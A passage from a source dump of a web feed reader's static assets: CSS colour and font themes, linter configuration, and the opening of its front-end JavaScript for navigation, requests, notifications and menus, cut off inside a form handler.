    "path": "internal/ui/static/css/dark.css",
    "content": ":root {\n    --font-family: system-ui, -apple-system, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, \"Noto Sans\", sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\", \"Noto Color Emoji\";\n    --body-color: #efefef;\n    --body-background: #222;\n    --hr-border-color: #555;\n    --title-color: #aaa;\n    --link-color: #aaa;\n    --link-focus-color: #ddd;\n    --link-hover-color: #ddd;\n    --link-visited-color: #f083e4;\n\n    --header-list-border-color: #333;\n    --header-link-color: #ddd;\n    --header-link-focus-color: rgba(82, 168, 236, 0.85);\n    --header-link-hover-color: rgba(82, 168, 236, 0.85);\n    --header-active-link-color: #9b9494;\n\n    --page-header-title-color: #aaa;\n    --page-header-title-border-color: #333;\n\n    --logo-color: #bbb;\n    --logo-hover-color-span: #bbb;\n\n    --table-border-color: #555;\n    --table-th-background: #333;\n    --table-th-color: #aaa;\n    --table-tr-hover-background-color: #333;\n    --table-tr-hover-color: #aaa;\n\n    --button-primary-border-color: #444;\n    --button-primary-background: #333;\n    --button-primary-color: #efefef;\n    --button-primary-focus-border-color: #888;\n    --button-primary-focus-background: #555;\n\n    --input-border: 1px solid #555;\n    --input-background: #333;\n    --input-color: #ccc;\n    --input-placeholder-color: #666;\n\n    --input-focus-color: #efefef;\n    --input-focus-border-color: rgba(82, 168, 236, 0.8);\n    --input-focus-box-shadow: 0 0 8px rgba(82, 168, 236, 0.6);\n\n    --alert-color: #efefef;\n    --alert-background-color: #333;\n    --alert-border-color: #444;\n\n    --alert-success-color: #efefef;\n    --alert-success-background-color: #333;\n    --alert-success-border-color: #444;\n\n    --alert-error-color: #efefef;\n    --alert-error-background-color: #333;\n    --alert-error-border-color: #444;\n\n    --alert-info-color: #efefef;\n    --alert-info-background-color: #333;\n    --alert-info-border-color: #444;\n\n    --panel-background: #333;\n    --panel-border-color: #555;\n    --panel-color: #9b9b9b;\n\n    --pagination-link-color: #aaa;\n    --pagination-border-color: #333;\n\n    --category-color: #efefef;\n    --category-background-color: #333;\n    --category-border-color: #444;\n    --category-link-color: #999;\n    --category-link-hover-color: #aaa;\n\n    --item-border-color: #666;\n    --item-padding: 4px;\n    --item-title-link-font-weight: 400;\n\n    --item-status-read-title-link-color: #666;\n    --item-status-read-title-focus-color: rgba(82, 168, 236, 0.6);\n\n    --item-meta-focus-color: #aaa;\n    --item-meta-li-color: #ddd;\n\n    --current-item-border-width: 2px;\n    --current-item-border-color: rgba(82, 168, 236, 0.8);\n    --current-item-box-shadow: 0 0 8px rgba(82, 168, 236, 0.6);\n\n    --entry-header-border-color: #333;\n    --entry-header-title-link-color: #bbb;\n    --entry-content-color: #999;\n    --entry-content-code-color: #fff;\n    --entry-content-code-background: #555;\n    --entry-content-code-border-color: #888;\n    --entry-content-quote-color: #777;\n    --entry-content-abbr-border-color: #777;\n    --entry-content-aside-border-color: #777;\n    --entry-enclosure-border-color: #333;\n\n    --parsing-error-color: #eee;\n    --feed-parsing-error-background-color: #3a1515;\n    --feed-parsing-error-border-style: solid;\n    --feed-parsing-error-border-color: #562222;\n\n    --feed-has-unread-background-color: #1b1a1a;\n    --feed-has-unread-border-style: solid;\n    --feed-has-unread-border-color: rgb(33 57 76);\n\n    --category-has-unread-background-color: #1b1a1a;\n    --category-has-unread-border-style: solid;\n    --category-has-unread-border-color: rgb(33 57 76);\n\n    --keyboard-shortcuts-li-color: #9b9b9b;\n\n    --counter-color: #bbb;\n}\n\nhtml {\n    color-scheme: dark;\n}\n"
  },
  {
    "path": "internal/ui/static/css/light.css",
    "content": ":root {\n    --font-family: system-ui, -apple-system, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, \"Noto Sans\", sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\", \"Noto Color Emoji\";\n    --body-color: #333;\n    --body-background: #fff;\n    --hr-border-color: #ccc;\n    --title-color: #333;\n    --link-color: #3366CC;\n    --link-focus-color: red;\n    --link-hover-color: #333;\n    --link-visited-color: purple;\n\n    --header-list-border-color: #ddd;\n    --header-link-color: #444;\n    --header-link-focus-color: #888;\n    --header-link-hover-color: #888;\n    --header-active-link-color: #444;\n\n    --page-header-title-color: #333;\n    --page-header-title-border-color: #333;\n\n    --logo-color: #000;\n    --logo-hover-color-span: #000;\n\n    --table-border-color: #ddd;\n    --table-th-background: #fcfcfc;\n    --table-th-color: #333;\n    --table-tr-hover-background-color: #f9f9f9;\n    --table-tr-hover-color: #333;\n\n    --button-primary-border-color: #3079ed;\n    --button-primary-background: #4d90fe;\n    --button-primary-color: #fff;\n    --button-primary-focus-border-color: #2f5bb7;\n    --button-primary-focus-background: #357ae8;\n\n    --input-border: 1px solid #ccc;\n    --input-background: #fff;\n    --input-color: #333;\n    --input-placeholder-color: #d0d0d0;\n\n    --input-focus-color: #000;\n    --input-focus-border-color: rgba(82, 168, 236, 0.8);\n    --input-focus-box-shadow: 0 0 8px rgba(82, 168, 236, 0.6);\n\n    --alert-color: #c09853;\n    --alert-background-color: #fcf8e3;\n    --alert-border-color: #fbeed5;\n\n    --alert-success-color: #468847;\n    --alert-success-background-color: #dff0d8;\n    --alert-success-border-color: #d6e9c6;\n\n    --alert-error-color: #b94a48;\n    --alert-error-background-color: #f2dede;\n    --alert-error-border-color: #eed3d7;\n\n    --alert-info-color: #3a87ad;\n    --alert-info-background-color: #d9edf7;\n    --alert-info-border-color: #bce8f1;\n\n    --panel-background: #fcfcfc;\n    --panel-border-color: #ddd;\n    --panel-color: #333;\n\n    --pagination-link-color: #333;\n    --pagination-border-color: #ddd;\n\n    --category-color: #333;\n    --category-background-color: #fffcd7;\n    --category-border-color: #d5d458;\n    --category-link-color: #000;\n    --category-link-hover-color: #000;\n\n    --item-border-color: #ddd;\n    --item-padding: 5px;\n    --item-title-link-font-weight: 600;\n\n    --item-status-read-title-link-color: #777;\n    --item-status-read-title-focus-color: #777;\n\n    --item-meta-focus-color: #777;\n    --item-meta-li-color: #aaa;\n\n    --current-item-border-width: 3px;\n    --current-item-border-color: #bce;\n    --current-item-box-shadow: none;\n\n    --entry-header-border-color: #ddd;\n    --entry-header-title-link-color: #333;\n    --entry-content-color: #555;\n    --entry-content-code-color: #333;\n    --entry-content-code-background: #f0f0f0;\n    --entry-content-code-border-color: #ddd;\n    --entry-content-quote-color: #666;\n    --entry-content-abbr-border-color: #999;\n    --entry-content-aside-border-color: #D3D3D3;\n    --entry-enclosure-border-color: #333;\n\n    --parsing-error-color: #333;\n    --feed-parsing-error-background-color: #fcf8e3;\n    --feed-parsing-error-border-style: solid;\n    --feed-parsing-error-border-color: #f9e883;\n\n    --feed-has-unread-background-color: #dfd;\n    --feed-has-unread-border-style: solid;\n    --feed-has-unread-border-color: #bee6bc;\n\n    --category-has-unread-background-color: #dfd;\n    --category-has-unread-border-style: solid;\n    --category-has-unread-border-color: #bee6bc;\n\n    --keyboard-shortcuts-li-color: #333;\n\n    --counter-color: #666;\n}\n\nhtml {\n    color-scheme: light;\n}\n"
  },
  {
    "path": "internal/ui/static/css/sans_serif.css",
    "content": ":root {\n    --entry-content-font-weight: 400;\n    --entry-content-font-family: system-ui, -apple-system, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, \"Noto Sans\", sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\", \"Noto Color Emoji\";\n    --entry-content-quote-font-family: var(--entry-content-font-family);\n}\n"
  },
  {
    "path": "internal/ui/static/css/serif.css",
    "content": ":root {\n    --entry-content-font-weight: 300;\n    --entry-content-font-family: Georgia, 'Times New Roman', Times, serif;\n    --entry-content-quote-font-family: var(--entry-content-font-family);\n}"
  },
  {
    "path": "internal/ui/static/css/system.css",
    "content": ":root {\n    --font-family: system-ui, -apple-system, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, \"Noto Sans\", sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\", \"Noto Color Emoji\";\n    --body-color: #333;\n    --body-background: #fff;\n    --hr-border-color: #ccc;\n    --title-color: #333;\n    --link-color: #3366CC;\n    --link-focus-color: red;\n    --link-hover-color: #333;\n    --link-visited-color: purple;\n\n    --header-list-border-color: #ddd;\n    --header-link-color: #444;\n    --header-link-focus-color: #888;\n    --header-link-hover-color: #888;\n    --header-active-link-color: #444;\n\n    --page-header-title-border-color: #333;\n\n    --logo-color: #000;\n    --logo-hover-color-span: #000;\n\n    --table-border-color: #ddd;\n    --table-th-background: #fcfcfc;\n    --table-th-color: #333;\n    --table-tr-hover-background-color: #f9f9f9;\n    --table-tr-hover-color: #333;\n\n    --button-primary-border-color: #3079ed;\n    --button-primary-background: #4d90fe;\n    --button-primary-color: #fff;\n    --button-primary-focus-border-color: #2f5bb7;\n    --button-primary-focus-background: #357ae8;\n\n    --input-border: 1px solid #ccc;\n    --input-background: #fff;\n    --input-color: #333;\n    --input-placeholder-color: #d0d0d0;\n\n    --input-focus-color: #000;\n    --input-focus-border-color: rgba(82, 168, 236, 0.8);\n    --input-focus-box-shadow: 0 0 8px rgba(82, 168, 236, 0.6);\n\n    --alert-color: #c09853;\n    --alert-background-color: #fcf8e3;\n    --alert-border-color: #fbeed5;\n\n    --alert-success-color: #468847;\n    --alert-success-background-color: #dff0d8;\n    --alert-success-border-color: #d6e9c6;\n\n    --alert-error-color: #b94a48;\n    --alert-error-background-color: #f2dede;\n    --alert-error-border-color: #eed3d7;\n\n    --alert-info-color: #3a87ad;\n    --alert-info-background-color: #d9edf7;\n    --alert-info-border-color: #bce8f1;\n\n    --panel-background: #fcfcfc;\n    --panel-border-color: #ddd;\n    --panel-color: #333;\n\n    --pagination-link-color: #333;\n    --pagination-border-color: #ddd;\n\n    --category-color: #333;\n    --category-background-color: #fffcd7;\n    --category-border-color: #d5d458;\n    --category-link-color: #000;\n    --category-link-hover-color: #000;\n\n    --item-border-color: #ddd;\n    --item-padding: 5px;\n    --item-title-link-font-weight: 600;\n\n    --item-status-read-title-link-color: #777;\n    --item-status-read-title-focus-color: #777;\n\n    --item-meta-focus-color: #777;\n    --item-meta-li-color: #aaa;\n\n    --current-item-border-width: 3px;\n    --current-item-border-color: #bce;\n    --current-item-box-shadow: none;\n\n    --entry-header-border-color: #ddd;\n    --entry-header-title-link-color: #333;\n    --entry-content-color: #555;\n    --entry-content-code-color: #333;\n    --entry-content-code-background: #f0f0f0;\n    --entry-content-code-border-color: #ddd;\n    --entry-content-quote-color: #666;\n    --entry-content-abbr-border-color: #999;\n    --entry-content-aside-border-color: #D3D3D3;\n    --entry-enclosure-border-color: #333;\n\n    --parsing-error-color: #333;\n    --feed-parsing-error-background-color: #fcf8e3;\n    --feed-parsing-error-border-style: solid;\n    --feed-parsing-error-border-color: #f9e883;\n\n    --feed-has-unread-background-color: #dfd;\n    --feed-has-unread-border-style: solid;\n    --feed-has-unread-border-color: #bee6bc;\n\n    --category-has-unread-background-color: #dfd;\n    --category-has-unread-border-style: solid;\n    --category-has-unread-border-color: #bee6bc;\n\n    --keyboard-shortcuts-li-color: #333;\n\n    --counter-color: #666;\n}\n\nhtml {\n    color-scheme: light;\n}\n\n@media (prefers-color-scheme: dark) {\n    :root {\n        --body-color: #efefef;\n        --body-background: #222;\n        --hr-border-color: #555;\n        --title-color: #aaa;\n        --link-color: #aaa;\n        --link-focus-color: #ddd;\n        --link-hover-color: #ddd;\n        --link-visited-color: #f083e4;\n\n        --header-list-border-color: #333;\n        --header-link-color: #ddd;\n        --header-link-focus-color: rgba(82, 168, 236, 0.85);\n        --header-link-hover-color: rgba(82, 168, 236, 0.85);\n        --header-active-link-color: #9b9494;\n\n        --page-header-title-border-color: #333;\n\n        --logo-color: #bbb;\n        --logo-hover-color-span: #bbb;\n\n        --table-border-color: #555;\n        --table-th-background: #333;\n        --table-th-color: #aaa;\n        --table-tr-hover-background-color: #333;\n        --table-tr-hover-color: #aaa;\n\n        --button-primary-border-color: #444;\n        --button-primary-background: #333;\n        --button-primary-color: #efefef;\n        --button-primary-focus-border-color: #888;\n        --button-primary-focus-background: #555;\n\n        --input-border: 1px solid #555;\n        --input-background: #333;\n        --input-color: #ccc;\n        --input-placeholder-color: #666;\n\n        --input-focus-color: #efefef;\n        --input-focus-border-color: rgba(82, 168, 236, 0.8);\n        --input-focus-box-shadow: 0 0 8px rgba(82, 168, 236, 0.6);\n\n        --alert-color: #efefef;\n        --alert-background-color: #333;\n        --alert-border-color: #444;\n\n        --alert-success-color: #efefef;\n        --alert-success-background-color: #333;\n        --alert-success-border-color: #444;\n\n        --alert-error-color: #efefef;\n        --alert-error-background-color: #333;\n        --alert-error-border-color: #444;\n\n        --alert-info-color: #efefef;\n        --alert-info-background-color: #333;\n        --alert-info-border-color: #444;\n\n        --panel-background: #333;\n        --panel-border-color: #555;\n        --panel-color: #9b9b9b;\n\n        --modal-background: #333;\n        --modal-color: #efefef;\n        --modal-box-shadow: 0 0 10px rgba(82, 168, 236, 0.6);\n\n        --pagination-link-color: #aaa;\n        --pagination-border-color: #333;\n\n        --category-color: #efefef;\n        --category-background-color: #333;\n        --category-border-color: #444;\n        --category-link-color: #999;\n        --category-link-hover-color: #aaa;\n\n        --item-border-color: #666;\n        --item-padding: 4px;\n        --item-title-link-font-weight: 400;\n\n        --item-status-read-title-link-color: #666;\n        --item-status-read-title-focus-color: rgba(82, 168, 236, 0.6);\n\n        --item-meta-focus-color: #aaa;\n        --item-meta-li-color: #ddd;\n\n        --current-item-border-width: 2px;\n        --current-item-border-color: rgba(82, 168, 236, 0.8);\n        --current-item-box-shadow: 0 0 8px rgba(82, 168, 236, 0.6);\n\n        --entry-header-border-color: #333;\n        --entry-header-title-link-color: #bbb;\n        --entry-content-color: #999;\n        --entry-content-code-color: #fff;\n        --entry-content-code-background: #555;\n        --entry-content-code-border-color: #888;\n        --entry-content-quote-color: #777;\n        --entry-content-abbr-border-color: #777;\n        --entry-content-aside-border-color: #777;\n        --entry-enclosure-border-color: #333;\n\n        --parsing-error-color: #eee;\n        --feed-parsing-error-background-color: #3a1515;\n        --feed-parsing-error-border-style: solid;\n        --feed-parsing-error-border-color: #562222;\n\n        --feed-has-unread-background-color: #1b1a1a;\n        --feed-has-unread-border-style: solid;\n        --feed-has-unread-border-color: rgb(33 57 76);\n\n        --category-has-unread-background-color: #1b1a1a;\n        --category-has-unread-border-style: solid;\n        --category-has-unread-border-color: rgb(33 57 76);\n\n        --keyboard-shortcuts-li-color: #9b9b9b;\n\n        --counter-color: #bbb;\n    }\n\n    html {\n        color-scheme: dark;\n    }\n}\n"
  },
  {
    "path": "internal/ui/static/js/.eslintrc.json",
    "content": "{\n    \"env\": {\n        \"browser\": true,\n        \"es2020\": true\n    },\n    \"rules\": {\n        \"indent\": [\"error\", 4]\n    }\n}"
  },
  {
    "path": "internal/ui/static/js/.jshintrc",
    "content": "{\n  \"bitwise\": true,\n  \"browser\": true,\n  \"eqeqeq\": true,\n  \"esversion\": 11,\n  \"freeze\": true,\n  \"latedef\": \"nofunc\",\n  \"noarg\": true,\n  \"nocomma\": true,\n  \"nonbsp\": true,\n  \"nonew\": true,\n  \"noreturnawait\": true,\n  \"shadow\": true,\n  \"varstmt\": true\n}"
  },
  {
    "path": "internal/ui/static/js/app.js",
    "content": "// Sentinel values for specific list navigation.\nconst TOP = 9999;\nconst BOTTOM = -9999;\n\n// Simple Polyfill for browsers that don't support Trusted Types\n// See https://caniuse.com/?search=trusted%20types\nif (!window.trustedTypes || !trustedTypes.createPolicy) {\n    window.trustedTypes = {\n        createPolicy: (name, policy) => ({\n            createScriptURL: src => src,\n            createHTML: html => html,\n        })\n    };\n}\n\n/**\n * Send a POST request to the specified URL with the given body.\n *\n * @param {string} url - The URL to send the request to.\n * @param {Object} [body] - The body of the request (optional).\n * @returns {Promise<Response>} The response from the fetch request.\n */\nfunction sendPOSTRequest(url, body = null) {\n    const options = {\n        method: \"POST\",\n        headers: {\n            \"X-Csrf-Token\": document.body.dataset.csrfToken || \"\"\n        }\n    };\n\n    if (body !== null) {\n        options.headers[\"Content-Type\"] = \"application/json\";\n        options.body = JSON.stringify(body);\n    }\n\n    return fetch(url, options);\n}\n\n/**\n * Open a new tab with the given URL.\n *\n * @param {string} url\n */\nfunction openNewTab(url) {\n    const win = window.open(url, \"_blank\", \"noreferrer\");\n    if (win) win.focus();\n}\n\n/**\n * Scroll the page to the given element.\n *\n * @param {Element} element\n * @param {boolean} evenIfOnScreen\n */\nfunction scrollPageTo(element, evenIfOnScreen) {\n    const windowScrollPosition = window.scrollY;\n    const windowHeight = document.documentElement.clientHeight;\n    const viewportPosition = windowScrollPosition + windowHeight;\n    const itemBottomPosition = element.offsetTop + element.offsetHeight;\n\n    if (evenIfOnScreen || viewportPosition - itemBottomPosition < 0 || viewportPosition - element.offsetTop > windowHeight) {\n        window.scrollTo(0, element.offsetTop - 10);\n    }\n}\n\n/**\n * Attach a click event listener to elements matching the selector.\n *\n * @param {string} selector\n * @param {function} callback\n * @param {boolean} noPreventDefault\n */\nfunction onClick(selector, callback, noPreventDefault) {\n    document.querySelectorAll(selector).forEach((element) => {\n        element.onclick = (event) => {\n            if (!noPreventDefault) {\n                event.preventDefault();\n            }\n            callback(event);\n        };\n    });\n}\n\n/**\n * Attach an auxiliary click event listener to elements matching the selector.\n *\n * @param {string} selector\n * @param {function} callback\n * @param {boolean} noPreventDefault\n */\nfunction onAuxClick(selector, callback, noPreventDefault) {\n    document.querySelectorAll(selector).forEach((element) => {\n        element.onauxclick = (event) => {\n            if (!noPreventDefault) {\n                event.preventDefault();\n            }\n            callback(event);\n        };\n    });\n}\n\n/**\n * Filter visible elements based on the selector.\n *\n * @param {string} selector\n * @returns {Array<Element>}\n */\nfunction getVisibleElements(selector) {\n    const elements = document.querySelectorAll(selector);\n    return [...elements].filter((element) => element.offsetParent !== null);\n}\n\n/**\n * Get all visible entries on the current page.\n *\n * @return {Array<Element>}\n */\nfunction getVisibleEntries() {\n    return getVisibleElements(\".items .item\");\n}\n\n/**\n * Check if the current view is a list view.\n *\n * @returns {boolean}\n */\nfunction isListView() {\n    return document.querySelector(\".items\") !== null;\n}\n\n/**\n * Check if the current view is an entry view.\n *\n * @return {boolean}\n */\nfunction isEntryView() {\n    return document.querySelector(\"section.entry\") !== null;\n}\n\n/**\n * Find the entry element for the given element.\n *\n * @returns {Element|null}\n */\nfunction findEntry(element) {\n    if (isListView()) {\n        if (element) {\n            return element.closest(\".item\");\n        }\n        return document.querySelector(\".current-item\");\n    }\n    return document.querySelector(\".entry\");\n}\n\n/**\n * Create an icon label element with the given text.\n *\n * @param {string} labelText - The text to display in the icon label.\n * @returns {Element} The created icon label element.\n */\nfunction createIconLabelElement(labelText) {\n    const labelElement = document.createElement(\"span\");\n    labelElement.classList.add(\"icon-label\");\n    labelElement.textContent = labelText;\n    return labelElement;\n}\n\n/**\n * Set the icon and label element in the parent element.\n *\n * @param {Element} parentElement - The parent element to insert the icon and label into.\n * @param {string} iconName - The name of the icon to display.\n * @param {string} labelText - The text to display in the label.\n */\nfunction setIconAndLabelElement(parentElement, iconName, labelText) {\n    const iconElement = document.querySelector(`template#icon-${iconName}`);\n    if (iconElement) {\n        const iconClone = iconElement.content.cloneNode(true);\n        parentElement.textContent = \"\"; // Clear existing content\n        parentElement.appendChild(iconClone);\n    }\n\n    if (labelText) {\n        const labelElement = createIconLabelElement(labelText);\n        parentElement.appendChild(labelElement);\n    }\n}\n\n/**\n * Set the button to a loading state and return a clone of the original button element.\n *\n * @param {Element} buttonElement - The button element to set to loading state.\n * @return {Element} The original button element cloned before modification.\n */\nfunction setButtonToLoadingState(buttonElement) {\n    const originalButtonElement = buttonElement.cloneNode(true);\n\n    buttonElement.textContent = \"\";\n    buttonElement.appendChild(createIconLabelElement(buttonElement.dataset.labelLoading));\n\n    return originalButtonElement;\n}\n\n/**\n * Restore the button to its original state.\n *\n * @param {Element} buttonElement The button element to restore.\n * @param {Element} originalButtonElement The original button element to restore from.\n * @returns {void}\n */\nfunction restoreButtonState(buttonElement, originalButtonElement) {\n    buttonElement.textContent = \"\";\n    buttonElement.appendChild(originalButtonElement);\n}\n\n/**\n * Set the button to a saved state.\n *\n * @param {Element} buttonElement The button element to set to saved state.\n */\nfunction setButtonToSavedState(buttonElement) {\n    buttonElement.dataset.completed = \"true\";\n    setIconAndLabelElement(buttonElement, \"save\", buttonElement.dataset.labelDone);\n}\n\n/**\n * Set the star button state.\n *\n * @param {Element} buttonElement - The button element to update.\n * @param {string} newState - The new state to set (\"star\" or \"unstar\").\n */\nfunction setStarredButtonState(buttonElement, newState) {\n    buttonElement.dataset.value = newState;\n    const iconType = newState === \"star\" ? \"unstar\" : \"star\";\n    setIconAndLabelElement(buttonElement, iconType, buttonElement.dataset[newState === \"star\" ? \"labelUnstar\" : \"labelStar\"]);\n}\n\n/**\n * Set the read status button state.\n *\n * @param {Element} buttonElement - The button element to update.\n * @param {string} newState - The new state to set (\"read\" or \"unread\").\n */\nfunction setReadStatusButtonState(buttonElement, newState) {\n    buttonElement.dataset.value = newState;\n    const iconType = newState === \"read\" ? \"unread\" : \"read\";\n    setIconAndLabelElement(buttonElement, iconType, buttonElement.dataset[newState === \"read\" ? \"labelUnread\" : \"labelRead\"]);\n}\n\n/**\n * Show a toast notification.\n *\n * @param {string} iconType - The type of icon to display.\n * @param {string} notificationMessage - The message to display in the toast.\n * @returns {void}\n */\nfunction showToastNotification(iconType, notificationMessage) {\n    const toastMsgElement = document.createElement(\"span\");\n    toastMsgElement.id = \"toast-msg\";\n\n    setIconAndLabelElement(toastMsgElement, iconType, notificationMessage);\n\n    const toastElementWrapper = document.createElement(\"div\");\n    toastElementWrapper.id = \"toast-wrapper\";\n    toastElementWrapper.setAttribute(\"role\", \"alert\");\n    toastElementWrapper.setAttribute(\"aria-live\", \"assertive\");\n    toastElementWrapper.setAttribute(\"aria-atomic\", \"true\");\n    toastElementWrapper.appendChild(toastMsgElement);\n    toastElementWrapper.addEventListener(\"animationend\", () => {\n        toastElementWrapper.remove();\n    });\n\n    document.body.appendChild(toastElementWrapper);\n\n    setTimeout(() => toastElementWrapper.classList.add(\"toast-animate\"), 100);\n}\n\n/**\n * Navigate to a specific page.\n *\n * @param {string} page - The page to navigate to.\n * @param {boolean} reloadOnFail - If true, reload the current page if the target page is not found.\n */\nfunction goToPage(page, reloadOnFail = false) {\n    const element = document.querySelector(`:is(a, button)[data-page=${page}]`);\n\n    if (element) {\n        document.location.href = element.href;\n    } else if (reloadOnFail) {\n        window.location.reload();\n    }\n}\n\n/**\n * Navigate to the previous page.\n *\n * If the offset is a KeyboardEvent, it will navigate to the previous item in the list.\n * If the offset is a number, it will jump that many items in the list.\n * If the offset is TOP, it will jump to the first item in the list.\n * If the offset is BOTTOM, it will jump to the last item in the list.\n * If the current view is an entry view, it will redirect to the previous page.\n *\n * @param {number|KeyboardEvent} offset - How many items to jump for focus.\n */\nfunction goToPreviousPage(offset) {\n    if (offset instanceof KeyboardEvent) offset = -1;\n    if (isListView()) {\n        goToListItem(offset);\n    } else {\n        goToPage(\"previous\");\n    }\n}\n\n/**\n * Navigate to the next page.\n *\n * If the offset is a KeyboardEvent, it will navigate to the next item in the list.\n * If the offset is a number, it will jump that many items in the list.\n * If the offset is TOP, it will jump to the first item in the list.\n * If the offset is BOTTOM, it will jump to the last item in the list.\n * If the current view is an entry view, it will redirect to the next page.\n *\n * @param {number|KeyboardEvent} offset - How many items to jump for focus.\n */\nfunction goToNextPage(offset) {\n    if (offset instanceof KeyboardEvent) offset = 1;\n    if (isListView()) {\n        goToListItem(offset);\n    } else {\n        goToPage(\"next\");\n    }\n}\n\n/**\n * Navigate to the individual feed or feeds page.\n *\n * If the current view is an entry view, it will redirect to the feed link of the entry.\n * If the current view is a list view, it will redirect to the feeds page.\n */\nfunction goToFeedOrFeedsPage() {\n    if (isEntryView()) {\n        goToFeedPage();\n    } else {\n        goToPage(\"feeds\");\n    }\n}\n\n/**\n * Navigate to the feed page of the current entry.\n *\n * If the current view is an entry view, it will redirect to the feed link of the entry.\n * If the current view is a list view, it will redirect to the feed link of the currently selected item.\n * If no feed link is available, it will do nothing.\n */\nfunction goToFeedPage() {\n    if (isEntryView()) {\n        const feedAnchor = document.querySelector(\"span.entry-website a\");\n        if (feedAnchor !== null) {\n            window.location.href = feedAnchor.href;\n        }\n    } else {\n        const currentItemFeed = document.querySelector(\".current-item :is(a, button)[data-feed-link]\");\n        if (currentItemFeed !== null) {\n            window.location.href = currentItemFeed.getAttribute(\"href\");\n        }\n    }\n}\n\n/**\n * Navigate to the add subscription page.\n *\n * @returns {void}\n */\nfunction goToAddSubscriptionPage() {\n    window.location.href = document.body.dataset.addSubscriptionUrl;\n}\n\n/**\n * Navigate to the next or previous item in the list.\n *\n * If the offset is TOP, it will jump to the first item in the list.\n * If the offset is BOTTOM, it will jump to the last item in the list.\n * If the offset is a number, it will jump that many items in the list.\n * If the current view is an entry view, it will redirect to the next or previous page.\n *\n * @param {number} offset - How many items to jump for focus.\n * @return {void}\n */\nfunction goToListItem(offset) {\n    const items = getVisibleEntries();\n    if (items.length === 0) {\n        return;\n    }\n\n    const currentItem = document.querySelector(\".current-item\");\n\n    // If no current item exists, select the first item\n    if (!currentItem) {\n        items[0].classList.add(\"current-item\");\n        items[0].focus();\n        scrollPageTo(items[0]);\n        return;\n    }\n\n    // Find the index of the current item\n    const currentIndex = items.indexOf(currentItem);\n    if (currentIndex === -1) {\n        // Current item not found in visible items, select first item\n        currentItem.classList.remove(\"current-item\");\n        items[0].classList.add(\"current-item\");\n        items[0].focus();\n        scrollPageTo(items[0]);\n        return;\n    }\n\n    // Calculate the new item index\n    let newIndex;\n    if (offset === TOP) {\n        newIndex = 0;\n    } else if (offset === BOTTOM) {\n        newIndex = items.length - 1;\n    } else {\n        newIndex = (currentIndex + offset + items.length) % items.length;\n    }\n\n    // Update selection if moving to a different item\n    if (newIndex !== currentIndex) {\n        const newItem = items[newIndex];\n\n        currentItem.classList.remove(\"current-item\");\n        newItem.classList.add(\"current-item\");\n        newItem.focus();\n        scrollPageTo(newItem);\n    }\n}\n\n/**\n * Handle the share action for the entry.\n *\n * If the share status is \"shared\", it will trigger the Web Share API.\n * If the share status is \"share\", it will send an Ajax request to fetch the share URL and then trigger the Web Share API.\n * If the Web Share API is not supported, it will redirect to the entry URL.\n */\nasync function handleEntryShareAction() {\n    const link = document.querySelector(':is(a, button)[data-share-status]');\n    if (link.dataset.shareStatus === \"shared\") {\n        const title = document.querySelector(\".entry-header > h1 > a\");\n        const url = link.href;\n\n        if (!navigator.canShare) {\n            console.error(\"Your browser doesn't support the Web Share API.\");\n            window.location = url;\n            return;\n        }\n        try {\n            await navigator.share({\n                title: title ? title.textContent : url,\n                url: url\n            });\n        } catch (err) {\n            console.error(err);\n        }\n    }\n}\n\n/**\n * Toggle the ARIA attributes on the main menu based on the viewport width.\n */\nfunction toggleAriaAttributesOnMainMenu() {\n    const logoElement = document.querySelector(\".logo\");\n    const homePageLinkElement = document.querySelector(\".logo > a\");\n\n    if (!logoElement || !homePageLinkElement) return;\n\n    const isMobile = document.documentElement.clientWidth < 650;\n\n    if (isMobile) {\n        const navMenuElement = document.getElementById(\"header-menu\");\n        const isExpanded = navMenuElement?.classList.contains(\"js-menu-show\") ?? false;\n        const toggleButtonLabel = logoElement.getAttribute(\"data-toggle-button-label\");\n\n        // Set mobile menu button attributes\n        Object.assign(logoElement, {\n            role: \"button\",\n            tabIndex: 0,\n            ariaLabel: toggleButtonLabel,\n            ariaExpanded: isExpanded.toString()\n        });\n        homePageLinkElement.tabIndex = -1;\n    } else {\n        // Remove mobile menu button attributes\n        [\"role\", \"tabindex\", \"aria-expanded\", \"aria-label\"].forEach(attr => {\n            logoElement.removeAttribute(attr);\n        });\n        homePageLinkElement.removeAttribute(\"tabindex\");\n    }\n}\n\n/**\n * Toggle the main menu dropdown.\n *\n * @param {Event} event - The event object.\n */\nfunction toggleMainMenuDropdown(event) {\n    // Only handle Enter, Space, or click events\n    if (event.type === \"keydown\" && ![\"Enter\", \" \"].includes(event.key)) {\n        return;\n    }\n\n    // Prevent default only if element has role attribute (mobile menu button)\n    if (event.currentTarget.getAttribute(\"role\")) {\n        event.preventDefault();\n    }\n\n    const navigationMenu = document.querySelector(\".header nav ul\");\n    const menuToggleButton = document.querySelector(\".logo\");\n\n    if (!navigationMenu || !menuToggleButton) {\n        return;\n    }\n\n    const isShowing = navigationMenu.classList.toggle(\"js-menu-show\");\n    menuToggleButton.setAttribute(\"aria-expanded\", isShowing.toString());\n}\n\n/**\n * Initialize the main menu handlers.\n */\nfunction initializeMainMenuHandlers() {\n    toggleAriaAttributesOnMainMenu();\n    window.addEventListener(\"resize\", toggleAriaAttributesOnMainMenu, { passive: true });\n\n    const logoElement = document.querySelector(\".logo\");\n    if (logoElement) {\n        logoElement.addEventListener(\"click\", toggleMainMenuDropdown);\n        logoElement.addEventListener(\"keydown\", toggleMainMenuDropdown);\n    }\n\n    onClick(\".header nav li\", (event) => {\n        const linkElement = event.target.closest(\"a\") || event.target.querySelector(\"a\");\n        if (linkElement && !event.ctrlKey && !event.shiftKey && !event.metaKey) {\n            event.preventDefault();\n            window.location.href = linkElement.getAttribute(\"href\");\n        }\n    }, true);\n}\n\n/**\n * This function changes the button label to the loading state and disables the button.\n *\n * @returns {void}\n */\nfunction initializeFormHandlers() {\n    document.querySelectorAll(\"form\").forEach((element) => {\n        element.onsubmit = () => {\n            const buttons = element.querySelectorAll(\"button[type=submit]\");\n            buttons.forEach((button) => {\n                if (button.dataset.labelLoading) {\n                    button.textContent = button.dataset.labelLoading;\n                }\n                button.disabled = true;\n    